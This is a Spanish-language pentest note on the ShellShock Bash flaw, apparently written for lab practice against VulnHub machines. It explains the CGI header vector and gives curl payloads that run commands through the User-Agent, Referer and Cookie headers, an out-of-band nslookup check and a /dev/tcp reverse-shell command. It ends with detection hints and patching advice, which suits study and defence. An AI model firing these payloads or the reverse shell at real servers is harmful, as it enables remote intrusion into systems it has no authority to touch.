ShellShock (CVE-2014-6271)
ShellShock es un fallo en Bash (CVE-2014-6271 y variantes como la CVE-2014-6278) por el que el intérprete ejecuta el código que sigue a la definición de una función exportada a través de una variable de entorno. En su día Bash permitía exportar funciones metiendo su definición en una variable; el bug es que, al procesar esa variable, Bash no paraba en el cierre de la función, sino que corría también lo que hubiera detrás.
El vector clásico son los scripts CGI: cuando un servidor web (Apache con mod_cgi) lanza un CGI, vuelca las cabeceras HTTP de la petición en variables de entorno (User-Agent, Referer, Cookie, etc.) y, si el CGI es un script en Bash, esas variables pasan por el intérprete vulnerable. Basta con meter el payload en una cabecera controlable:
curl http://<host>/cgi-bin/script -H "User-Agent: () { :; }; echo; /usr/bin/id"
# la cabecera vulnerable varia: probar tambien Referer y Cookie
curl http://<host>/cgi-bin/script -H "Referer: () { :; }; echo; /usr/bin/id"
curl http://<host>/cgi-bin/script -H "Cookie: () { :; }; echo; /usr/bin/id"
# variante CVE-2014-6278 (sin la parte de funcion)
curl http://<host>/cgi-bin/script -H "User-Agent: () { _; } >_[\$(\$())] { echo; id; }"
# confirmacion a ciegas (out-of-band) si no se ve la salida
curl http://<host>/cgi-bin/script -H "User-Agent: () { :; }; /usr/bin/nslookup <lhost>"El payload se descompone así: () { :; } declara una función con cuerpo vacío (: es un no-op); el ; cierra la definición y, por el fallo, todo lo que va después (echo; /usr/bin/id) se ejecuta de inmediato al importar la variable. El echo inicial añade una línea en blanco para que la respuesta HTTP quede bien formada antes de la salida del comando.
De ahí a una reverse shell es directo:
curl http://<host>/cgi-bin/script -H "User-Agent: () { :; }; /bin/bash -c 'bash -i >& /dev/tcp/<ip>/4444 0>&1'"Pistas para detectarlo. Un /cgi-bin/ que aparece solo al fuzzear con --add-slash, endpoints que devuelven salidas de comandos del sistema (un uptime, un id), o cabeceras de servidor de Apache antiguo. La ejecución hereda el usuario del servicio web (a menudo un usuario poco privilegiado, no root).
Defensa. Parchear Bash (los paquetes corregidos existen desde 2014), retirar CGI en Bash a favor de lenguajes que no reinterpreten el entorno, y no volcar entrada sin sanear en variables que lleguen a un shell. Es un caso concreto de inyección de comandos apoyado en el paso de cabeceras HTTP a variables de entorno.
Máquinas donde se aplica
- Symfonos 3VulnHub